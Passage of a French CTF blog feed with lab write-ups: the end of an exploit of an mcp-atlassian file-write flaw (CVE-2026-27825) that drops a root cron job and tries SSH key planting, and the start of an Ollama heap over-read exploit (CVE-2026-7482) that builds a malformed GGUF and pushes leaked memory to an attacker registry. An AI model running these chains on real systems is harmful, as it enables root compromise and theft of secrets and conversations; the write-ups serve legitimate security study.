  </span><span class="nb">echo</span> <span class="s2">"===== </span><span class="nv">$path</span><span class="s2"> ====="</span>
  curl <span class="nt">-sS</span> <span class="nt">--max-time</span> 3 <span class="nt">-w</span> <span class="s1">'\nHTTP %{http_code}\n'</span> <span class="s2">"http://</span><span class="nv">$IP</span><span class="s2">:8080</span><span class="nv">$path</span><span class="s2">"</span> | <span class="nb">head</span> <span class="nt">-c</span> 500
  <span class="nb">echo
</span><span class="k">done</span>
</code></pre></div></div>

<hr />

<h2 id="7-récupération-du-flag-par-tâche-cron">7. Récupération du flag par tâche cron</h2>

<h3 id="71-contenu-téléversé">7.1 Contenu téléversé</h3>

<p>La pièce jointe dédiée a été ajoutée à la page <strong>101001</strong> avec le contenu suivant :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* * * * * root cat /home/local.txt /root/proof.txt &gt; /var/www/html/flag.txt 2&gt;&amp;1; rm -f /etc/cron.d/mer-flag
</code></pre></div></div>

<p><strong>Appel JSON-RPC d’upload :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"jsonrpc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w">
  </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tools/call"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"params"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"confluence_upload_attachment"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"page_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"101001"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"filename"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mer-cron.txt"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"* * * * * root cat /home/local.txt /root/proof.txt &gt; /var/www/html/flag.txt 2&gt;&amp;1; rm -f /etc/cron.d/mer-flag</span><span class="se">\n</span><span class="s2">"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Réponse de l’upload :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"fileSize"</span><span class="p">:</span><span class="w"> </span><span class="mi">109</span><span class="p">,</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"attbcca3471"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"mediaType"</span><span class="p">:</span><span class="w"> </span><span class="s2">"application/octet-stream"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"pageId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"101001"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"current"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mer-cron.txt"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Commande shell complète :</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">CRON</span><span class="o">=</span><span class="s1">'* * * * * root cat /home/local.txt /root/proof.txt &gt; /var/www/html/flag.txt 2&gt;&amp;1; rm -f /etc/cron.d/mer-flag'</span>
<span class="nv">UPLOAD</span><span class="o">=</span><span class="si">$(</span>python3 <span class="nt">-c</span> <span class="s1">'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"page_id":"101001","filename":"mer-cron.txt","content":sys.argv[1]+"\n"}}}))'</span> <span class="s2">"</span><span class="nv">$CRON</span><span class="s2">"</span><span class="si">)</span>
mcp_call <span class="s2">"</span><span class="nv">$UPLOAD</span><span class="s2">"</span> 2
<span class="c"># → ID : attbcca3471 | fileSize: 109</span>
</code></pre></div></div>

<h3 id="72-écriture-de-la-tâche-dans-etccrond">7.2 Écriture de la tâche dans /etc/cron.d/</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mcp_call <span class="s1">'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"attbcca3471","download_path":"/etc/cron.d/mer-flag"}}}'</span> 2
</code></pre></div></div>

<p><strong>Interprétation de la ligne cron :</strong></p>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Valeur</th>
      <th>Signification</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Planification</td>
      <td><code class="language-plaintext highlighter-rouge">* * * * *</code></td>
      <td>Déclenchement chaque minute</td>
    </tr>
    <tr>
      <td>Utilisateur</td>
      <td><code class="language-plaintext highlighter-rouge">root</code></td>
      <td>Format <code class="language-plaintext highlighter-rouge">/etc/cron.d</code></td>
    </tr>
    <tr>
      <td>Commande</td>
      <td><code class="language-plaintext highlighter-rouge">cat /home/local.txt /root/proof.txt</code></td>
      <td>Lecture des deux fichiers attendus</td>
    </tr>
    <tr>
      <td>Redirection</td>
      <td><code class="language-plaintext highlighter-rouge">&gt; /var/www/html/flag.txt 2&gt;&amp;1</code></td>
      <td>Sortie + erreurs vers le webroot</td>
    </tr>
    <tr>
      <td>Nettoyage</td>
      <td><code class="language-plaintext highlighter-rouge">; rm -f /etc/cron.d/mer-flag</code></td>
      <td>Auto-suppression après exécution</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>L’écriture d’une entrée cron est également citée comme exemple d’impact dans la fiche CVE officielle et l’avis de sécurité du projet.</p>
</blockquote>

<h3 id="73-lecture-du-résultat">7.3 Lecture du résultat</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">IP</span><span class="o">=</span>176.16.174.39
<span class="k">for </span>i <span class="k">in</span> <span class="si">$(</span><span class="nb">seq </span>1 15<span class="si">)</span><span class="p">;</span> <span class="k">do
  </span><span class="nb">echo</span> <span class="s2">"===== essai </span><span class="nv">$i</span><span class="s2"> ====="</span>
  curl <span class="nt">-sS</span> <span class="nt">--max-time</span> 3 <span class="nt">-w</span> <span class="s1">'\nHTTP %{http_code}\n'</span> <span class="se">\</span>
    <span class="s2">"http://</span><span class="nv">$IP</span><span class="s2">:8080/flag.txt"</span>
  <span class="nb">echo
  sleep </span>5
<span class="k">done</span>
</code></pre></div></div>

<p>Les 11 premiers essais répondaient <code class="language-plaintext highlighter-rouge">404</code>. À partir de l’essai 12 :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_57772dfb_a045_47eb_9b02_5a01965029fe
cat: /root/proof.txt: No such file or directory
HTTP 200
</code></pre></div></div>

<p><strong>Confirmation directe :</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> http://176.16.174.39:8080/flag.txt
</code></pre></div></div>

<hr />

<h2 id="8-conclusion-et-chaîne-causale">8. Conclusion et chaîne causale</h2>

<table>
  <thead>
    <tr>
      <th>Étape</th>
      <th>Action</th>
      <th>Résultat</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Scan nmap</td>
      <td>MCP sur 9000, HTTP statique sur 8080, SSH sur 22</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Négociation SSE</td>
      <td>Outils MCP énumérés, version <code class="language-plaintext highlighter-rouge">mcp-atlassian 1.26.0</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td>Path traversal <code class="language-plaintext highlighter-rouge">page_id</code></td>
      <td>Page 101001 découverte, pièce jointe <code class="language-plaintext highlighter-rouge">att200001</code> identifiée</td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">confluence_download_attachment</code></td>
      <td>Écriture arbitraire vers chemin local confirmée</td>
    </tr>
    <tr>
      <td>5</td>
      <td>Écriture dans <code class="language-plaintext highlighter-rouge">/var/www/html</code></td>
      <td>Canal d’exfiltration HTTP validé (HTTP 200)</td>
    </tr>
    <tr>
      <td>6</td>
      <td>Upload de la tâche cron → <code class="language-plaintext highlighter-rouge">attbcca3471</code></td>
      <td>Contenu cron créé comme pièce jointe Confluence</td>
    </tr>
    <tr>
      <td>7</td>
      <td>Écriture dans <code class="language-plaintext highlighter-rouge">/etc/cron.d/mer-flag</code></td>
      <td>Tâche déposée, cron exécuté au cycle suivant</td>
    </tr>
    <tr>
      <td>8</td>
      <td><code class="language-plaintext highlighter-rouge">curl /flag.txt</code> (port 8080)</td>
      <td>Flag récupéré, <code class="language-plaintext highlighter-rouge">proof.txt</code> absent</td>
    </tr>
  </tbody>
</table>

<h3 id="-flag-final">🏁 Flag final</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_57772dfb_a045_47eb_9b02_5a01965029fe
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat: /root/proof.txt: No such file or directory
</code></pre></div></div>

<hr />

<h2 id="9-état-des-modifications-et-nettoyage">9. État des modifications et nettoyage</h2>

<p><strong>Fichiers écrits sur la cible :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/opt/app/meeting-notes.txt</code></li>
  <li><code class="language-plaintext highlighter-rouge">/var/www/html/mer-probe.txt</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/share/nginx/html/mer-probe.txt</code>, <code class="language-plaintext highlighter-rouge">/srv/www/mer-probe.txt</code>, <code class="language-plaintext highlighter-rouge">/opt/app/static/mer-probe.txt</code>, <code class="language-plaintext highlighter-rouge">/opt/app/public/mer-probe.txt</code>, <code class="language-plaintext highlighter-rouge">/opt/app/mer-probe.txt</code>, <code class="language-plaintext highlighter-rouge">/tmp/mer-probe.txt</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/cron.d/mer-flag</code> (auto-suppression incluse, non vérifiée)</li>
  <li><code class="language-plaintext highlighter-rouge">/var/www/html/flag.txt</code></li>
</ul>

<p><strong>Pièces jointes créées sur la page 101001 :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">mer-lab-key.pub</code>, <code class="language-plaintext highlighter-rouge">content-probe.txt</code>, <code class="language-plaintext highlighter-rouge">local-copy.txt</code>, <code class="language-plaintext highlighter-rouge">mer-cron.txt</code></li>
</ul>

<p><strong>Tentatives d’écriture de clé SSH :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys2</code>, <code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code></li>
  <li><code class="language-plaintext highlighter-rouge">/home/ubuntu/.ssh/authorized_keys</code>, <code class="language-plaintext highlighter-rouge">/home/local/.ssh/authorized_keys</code></li>
  <li>→ Connexions SSH refusées dans les trois cas</li>
</ul>

<blockquote>
  <p><strong>Conseil de remise en état :</strong> supprimer les fichiers de test confirmés, vérifier et retirer <code class="language-plaintext highlighter-rouge">/etc/cron.d/mer-flag</code> s’il existe encore, retirer les clés SSH éventuellement déposées. Ne pas utiliser l’outil d’écriture pour déposer une chaîne vide : cela tronque le fichier sans le supprimer. Les pièces jointes Confluence peuvent être supprimées via les fonctions d’administration du lab.</p>
</blockquote>

<hr />

<h2 id="10-limites-de-la-retranscription">10. Limites de la retranscription</h2>

<p>Les commandes MCP réutilisaient souvent un même squelette (ouverture SSE → <code class="language-plaintext highlighter-rouge">session_id</code> → <code class="language-plaintext highlighter-rouge">initialize</code> → <code class="language-plaintext highlighter-rouge">notifications/initialized</code> → <code class="language-plaintext highlighter-rouge">tools/call</code>). Pour éviter la répétition, ce rapport reproduit les requêtes JSON-RPC déterminantes et conserve les sorties pertinentes. La confirmation brute de l’écriture cron n’est pas présente dans les extraits transmis ; le succès d’exécution est établi par l’apparition ultérieure de <code class="language-plaintext highlighter-rouge">flag.txt</code> via HTTP et par son corps observé.</p>

<hr />

<h2 id="11-dernière-vérification-gobuster-après-exploitation">11. Dernière vérification Gobuster après exploitation</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="se">\</span>
  <span class="nt">-u</span> <span class="s2">"http://176.16.174.39:8080/"</span> <span class="se">\</span>
  <span class="nt">-w</span> /usr/share/wordlists/dirb/common.txt <span class="se">\</span>
  <span class="nt">-x</span> txt,html,json,py,conf,log,bak <span class="se">\</span>
  <span class="nt">-t</span> 20 <span class="se">\</span>
  <span class="nt">-s</span> 200,204,301,302,307,401,403 <span class="se">\</span>
  <span class="nt">-b</span> <span class="s2">""</span>
</code></pre></div></div>

<p><strong>Sortie pertinente :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag.txt      (Status: 200) [Size: 90]
index.html    (Status: 200) [Size: 35]
index.html    (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)
</code></pre></div></div>

<p>Cette énumération finale confirme que le cron avait créé <code class="language-plaintext highlighter-rouge">flag.txt</code> et que le serveur statique le rendait accessible en HTTP 200. Le doublon <code class="language-plaintext highlighter-rouge">index.html</code> est un artefact de Gobuster ; le résultat déterminant est <code class="language-plaintext highlighter-rouge">flag.txt</code>.</p>

<hr />

<h2 id="références">Références</h2>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Source</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Fiche CVE officielle</td>
      <td>CVE-2026-27825 — écriture de fichier arbitraire via <code class="language-plaintext highlighter-rouge">download_path</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td>Avis GitHub du projet</td>
      <td>Avis de sécurité upstream <code class="language-plaintext highlighter-rouge">mcp-atlassian</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td>Analyse Pluto Security</td>
      <td>Analyse technique indépendante — primitive d’écriture et scénarios d’impact</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Mohammed Berrahal</name></author><category term="CTF" /><category term="Exploit" /><category term="ctf" /><category term="mcp" /><category term="atlassian" /><category term="confluence" /><category term="cve-2026-27825" /><category term="path-traversal" /><category term="arbitrary-file-write" /><category term="cron" /><category term="rce" /><category term="sse" /><category term="json-rpc" /><category term="python" /><category term="kali" /><category term="gobuster" /><category term="nmap" /><category term="mitre-attck" /><summary type="html"><![CDATA[Cible : 176.16.174.39 CVE : CVE-2026-27825 Date des opérations : 30 octobre – 2 novembre 2026 Flag : flag_57772dfb_a045_47eb_9b02_5a01965029fe]]></summary></entry><entry><title type="html">Hollowford CTF : Bleeding Llama — exploitation de CVE-2026-7482 sur Ollama 0.17.0</title><link href="https://medberrahal.github.io//ctf/exploit/Hollowford-lab/" rel="alternate" type="text/html" title="Hollowford CTF : Bleeding Llama — exploitation de CVE-2026-7482 sur Ollama 0.17.0" /><published>2026-10-29T00:00:00+00:00</published><updated>2026-10-29T00:00:00+00:00</updated><id>https://medberrahal.github.io//ctf/exploit/Hollowford-lab</id><content type="html" xml:base="https://medberrahal.github.io//ctf/exploit/Hollowford-lab/"><![CDATA[<h1 id="rapport-cve-2026-7482--hollowford-ctf">Rapport CVE-2026-7482 — Hollowford CTF</h1>
<blockquote>
  <h2 id="bleeding-llama--exploitation-complète-dollama-0170">Bleeding Llama : Exploitation complète d’Ollama 0.17.0</h2>
  <p><strong>Date :</strong> 29 octobre 2026<br />
<strong>Flag :</strong> <code class="language-plaintext highlighter-rouge">flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d</code></p>
</blockquote>

<hr />

<h2 id="1-objectif-et-résultat">1. Objectif et résultat</h2>

<p>Le challenge Hollowford demande de compromettre un hôte Linux exécutant Ollama 0.17.0 comme assistant de programmation interne. L’objectif est d’exploiter CVE-2026-7482 (“Bleeding Llama”) pour extraire des fragments de l’historique des conversations stockés en mémoire du processus.</p>

<p><strong>Résultat :</strong> Flag extrait avec succès depuis la mémoire heap du processus Ollama :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
</code></pre></div></div>

<p>Ce flag était contenu dans un fragment de conversation où un utilisateur transmettait son mot de passe sudo à l’assistant IA.</p>

<hr />

<h2 id="2-contexte-cve-2026-7482">2. Contexte CVE-2026-7482</h2>

<h3 id="quest-ce-que-cve-2026-7482-">Qu’est-ce que CVE-2026-7482 ?</h3>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Valeur</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Nom</strong></td>
      <td>Bleeding Llama</td>
    </tr>
    <tr>
      <td><strong>CVSS</strong></td>
      <td>9.1 (Critique)</td>
    </tr>
    <tr>
      <td><strong>Composant vulnérable</strong></td>
      <td>Ollama &lt; 0.17.1</td>
    </tr>
    <tr>
      <td><strong>Type</strong></td>
      <td>Heap Out-of-Bounds Read (CWE-125)</td>
    </tr>
  </tbody>
</table>

<h3 id="mécanisme-de-la-vulnérabilité">Mécanisme de la vulnérabilité</h3>

<p>Ollama permet à n’importe qui (sans authentification) d’envoyer un fichier GGUF via <code class="language-plaintext highlighter-rouge">/api/create</code> avec une demande de quantification. Le chemin de quantification dans <code class="language-plaintext highlighter-rouge">fs/ggml/gguf.go</code> et <code class="language-plaintext highlighter-rouge">server/quantization.go</code> ne valide pas que la taille du tenseur déclarée dans les métadonnées GGUF correspond aux données réellement présentes dans le fichier.</p>

<p><strong>Concrètement :</strong></p>

<ul>
  <li>Un attaquant crée un fichier GGUF où le tenseur déclare avoir <strong>8 192 bytes</strong> de données</li>
  <li>Mais le fichier ne contient que <strong>256 bytes</strong> réels</li>
  <li>Lors de la quantification F32, Ollama lit les 8 192 bytes depuis le heap → il lit <strong>7 936 bytes de mémoire adjacente</strong> qui n’appartiennent pas au fichier</li>
  <li>Cette mémoire contient : variables d’environnement, clés API, messages de conversation, system prompts</li>
  <li>La mémoire leakée est incorporée dans le modèle quantifié qui peut ensuite être pushé vers un registry contrôlé par l’attaquant</li>
</ul>

<h3 id="chaîne-dattaque-en-3-appels-api">Chaîne d’attaque en 3 appels API</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api/blobs   → Upload du GGUF malveillant
POST /api/create  → Quantification déclenche le OOB read
POST /api/push    → Exfiltration du modèle (contenant la mémoire) vers l'attaquant
</code></pre></div></div>

<hr />

<h2 id="3-chaîne-dexploitation-vue-densemble">3. Chaîne d’exploitation (vue d’ensemble)</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Kali 176.16.174.2]                    [Cible 176.16.174.3]
        │                                       │
        │  1. nmap → port 11434 ouvert          │
        │──────────────────────────────────────►│
        │                                       │
        │  2. Upload GGUF malveillant           │
        │  POST /api/blobs/sha256:&lt;hash&gt;        │
        │──────────────────────────────────────►│
        │                            201 Created│
        │◄──────────────────────────────────────│
        │                                       │
        │  3. Créer modèle + quantifier         │
        │  POST /api/create {quantize:"F32"}    │
        │──────────────────────────────────────►│
        │              OOB READ dans le heap    │
        │              → mémoire leakée         │
        │                    {"status":"success"}│
        │◄──────────────────────────────────────│
        │                                       │
        │  4. Push vers registry Kali:5000      │
        │  POST /api/push                       │
        │──────────────────────────────────────►│
        │                                       │
        │◄─── blob_15_1048960.bin ──────────────│
        │     (524 032 bytes de mémoire heap)   │
        │                                       │
        │  5. Décodage GGUF F32→F16→ASCII       │
        │  → flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
</code></pre></div></div>

<hr />

<h2 id="4-étape-1--reconnaissance">4. Étape 1 — Reconnaissance</h2>

<h3 id="commande--scan-nmap">Commande : Scan Nmap</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-p-</span> 176.16.174.3
</code></pre></div></div>

<p><strong>Explication des options :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-sV</code> : détecte la version des services sur chaque port</li>
  <li><code class="language-plaintext highlighter-rouge">-p-</code> : scanne les 65 535 ports TCP (pas seulement les 1 000 courants)</li>
  <li><code class="language-plaintext highlighter-rouge">176.16.174.3</code> : adresse IP de la machine cible fournie par le lab</li>
</ul>

<h3 id="sortie-observée">Sortie observée</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting Nmap 7.99 at 2026-10-29 11:46 +0000
Nmap scan report for 176.16.174.3
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3
11434/tcp open  http    Golang net/http server
</code></pre></div></div>

<p><strong>Ce que ça révèle :</strong></p>

<ul>
  <li><strong>Port 22</strong> : SSH ouvert, mais on n’a pas de credentials pour l’instant</li>
  <li><strong>Port 11434</strong> : serveur HTTP Go → c’est le port par défaut d’Ollama</li>
  <li>Le fingerprint HTTP confirme qu’Ollama est en cours d’exécution</li>
</ul>

<h3 id="commandes-de-vérification-ollama">Commandes de vérification Ollama</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://176.16.174.3:11434/api/version
</code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"version"</span><span class="p">:</span><span class="s2">"0.17.0"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://176.16.174.3:11434/api/tags
</code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"models"</span><span class="p">:[{</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="s2">"tinyllama:1.1b-chat-v1-q2_K"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"model"</span><span class="p">:</span><span class="s2">"tinyllama:1.1b-chat-v1-q2_K"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"size"</span><span class="p">:</span><span class="mi">483117098</span><span class="p">,</span><span class="w">
  </span><span class="nl">"details"</span><span class="p">:{</span><span class="nl">"family"</span><span class="p">:</span><span class="s2">"llama"</span><span class="p">,</span><span class="nl">"parameter_size"</span><span class="p">:</span><span class="s2">"1B"</span><span class="p">,</span><span class="nl">"quantization_level"</span><span class="p">:</span><span class="s2">"Q2_K"</span><span class="p">}</span><span class="w">
</span><span class="p">}]}</span><span class="w">
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://176.16.174.3:11434/api/ps
</code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"models"</span><span class="p">:[{</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="s2">"tinyllama:1.1b-chat-v1-q2_K"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"size"</span><span class="p">:</span><span class="mi">506040320</span><span class="p">,</span><span class="w">
  </span><span class="nl">"expires_at"</span><span class="p">:</span><span class="s2">"2026-10-29T12:47:38Z"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"size_vram"</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="w">
  </span><span class="nl">"context_length"</span><span class="p">:</span><span class="mi">2048</span><span class="w">
</span><span class="p">}]}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p><strong>Analyse :</strong> Ollama 0.17.0 est confirmé vulnérable (patch en 0.17.1). Le modèle tinyllama est chargé en RAM (<code class="language-plaintext highlighter-rouge">size_vram: 0</code>), ce qui signifie que des conversations peuvent exister en mémoire heap.</p>
</blockquote>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> On sait que la cible est vulnérable. Il faut maintenant construire l’arme : un fichier GGUF malveillant.</p>
</blockquote>

<hr />

<h2 id="5-étape-2--compréhension-du-vecteur-dattaque">5. Étape 2 — Compréhension du vecteur d’attaque</h2>

<h3 id="pourquoi-le-gguf-est-le-vecteur-">Pourquoi le GGUF est le vecteur ?</h3>

<p>Le format GGUF (GPT-Generated Unified Format) est le format de fichier utilisé par llama.cpp et Ollama pour stocker les modèles. Il contient :</p>

<ul>
  <li>Un header avec magic bytes <code class="language-plaintext highlighter-rouge">GGUF</code></li>
  <li>Des métadonnées clé-valeur (version, architecture, file_type…)</li>
  <li>Des définitions de tenseurs (nom, dimensions, type, offset)</li>
  <li>Les données brutes des tenseurs</li>
</ul>

<p><strong>La vulnérabilité :</strong> Ollama lit <code class="language-plaintext highlighter-rouge">tensor.shape[0] * tensor.shape[1] * sizeof(F16)</code> bytes depuis le heap <strong>sans vérifier</strong> que le fichier contient réellement autant de données. Si le fichier est court, il continue à lire la mémoire adjacente.</p>

<h3 id="pourquoi-quantize-f32-">Pourquoi <code class="language-plaintext highlighter-rouge">quantize: F32</code> ?</h3>

<p>Lorsqu’on demande une quantification F32 sur un modèle F16 :</p>

<ol>
  <li>Ollama alloue un buffer de <code class="language-plaintext highlighter-rouge">nb_elements * 4</code> bytes (F32 = 4 bytes/valeur)</li>
  <li>Il copie les valeurs F16 source vers F32 destination</li>
  <li>La copie se fait <strong>sans bornes</strong> → lit au-delà du fichier</li>
  <li>La mémoire heap adjacente est copiée dans le modèle de sortie</li>
  <li>Le modèle de sortie est un fichier GGUF valide <strong>contenant la mémoire leakée</strong></li>
</ol>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> On doit créer un GGUF avec les bonnes métadonnées pour passer la validation d’Ollama, tout en déclarant un tenseur plus grand que les données réelles.</p>
</blockquote>

<hr />

<h2 id="6-étape-3--génération-du-gguf-malveillant">6. Étape 3 — Génération du GGUF malveillant</h2>

<h3 id="pourquoi-les-premières-tentatives-ont-échoué">Pourquoi les premières tentatives ont échoué</h3>

<p>La première version du GGUF artisanal produisait :</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"error"</span><span class="p">:</span><span class="s2">"quantization is only supported for F16 and F32 models"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Cause :</strong> Ollama vérifie la métadonnée <code class="language-plaintext highlighter-rouge">general.file_type</code> dans le GGUF. Sans cette métadonnée, le modèle est de type <code class="language-plaintext highlighter-rouge">unknown</code> et la quantification est refusée.</p>

<h3 id="solution--utiliser-le-poc-public">Solution : utiliser le PoC public</h3>

<p>Le dépôt <code class="language-plaintext highlighter-rouge">msuiche/gguf_cve2026_7482</code> contient un générateur adapté.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Cloner le PoC</span>
<span class="nb">cd</span> ~
git clone https://github.com/msuiche/gguf_cve2026_7482
<span class="nb">cd </span>gguf_cve2026_7482
</code></pre></div></div>

<h3 id="modification-du-générateur">Modification du générateur</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Patch 1 : ajouter general.file_type = 1 (F16) et corriger les dimensions</span>
python3 - <span class="o">&lt;&lt;</span><span class="sh">'</span><span class="no">PY</span><span class="sh">'
from pathlib import Path

p = Path("gguf_cve2026_7482_poc.py")
s = p.read_text()
start = s.index("def generate_poc_quantize_trigger")
end = s.index("def generate_poc_multi_tensor", start)
chunk = s[start:end]

# Dimensions 2D pour simuler un tensor de poids réel
chunk = chunk.replace("dims = [4096]", "dims = [64, 64]", 1)

# Ajouter la métadonnée file_type = F16
chunk = chunk.replace(
    'write_metadata_kv(metadata, "general.alignment",    GGUF_TYPE_UINT32, alignment)',
    'write_metadata_kv(metadata, "general.alignment",    GGUF_TYPE_UINT32, alignment)</span><span class="se">\n</span><span class="sh">'
    '    write_metadata_kv(metadata, "general.file_type",    GGUF_TYPE_UINT32, 1)  # F16',
    1
)

# Mettre à jour le compteur de métadonnées
chunk = chunk.replace(
    'buf += struct.pack("&lt;Q", 5)  # metadata_kv_count',
    'buf += struct.pack("&lt;Q", 6)  # metadata_kv_count',
    1
)

if "general.file_type" not in chunk or "dims = [64, 64]" not in chunk:
    raise SystemExit("Correction non appliquée")

p.write_text(s[:start] + chunk + s[end:])
print("[+] Patch appliqué")
</span><span class="no">PY
</span></code></pre></div></div>

<p><strong>Explication ligne par ligne :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">dims = [64, 64]</code> : tensor 2D de 64×64 = 4 096 éléments F16 = <strong>8 192 bytes déclarés</strong></li>
  <li><code class="language-plaintext highlighter-rouge">general.file_type = 1</code> : déclare le modèle comme F16, condition nécessaire pour la quantification</li>
  <li>Le compteur passe de 5 à 6 métadonnées</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Générer les fichiers GGUF</span>
python3 gguf_cve2026_7482_poc.py
</code></pre></div></div>

<p><strong>Sortie observée :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] POC variant 2 written to: poc_bleeding_llama.gguf
    Tensor: blk.0.attn_q.weight
    Declared shape: [64, 64] × F16 = 8192 bytes
    Actual data on disk: 256 bytes
    OOB read window: 7936 bytes
    Attack vector: /api/create quantize=F32 → ConvertToF32 OOB → /api/push exfil
</code></pre></div></div>

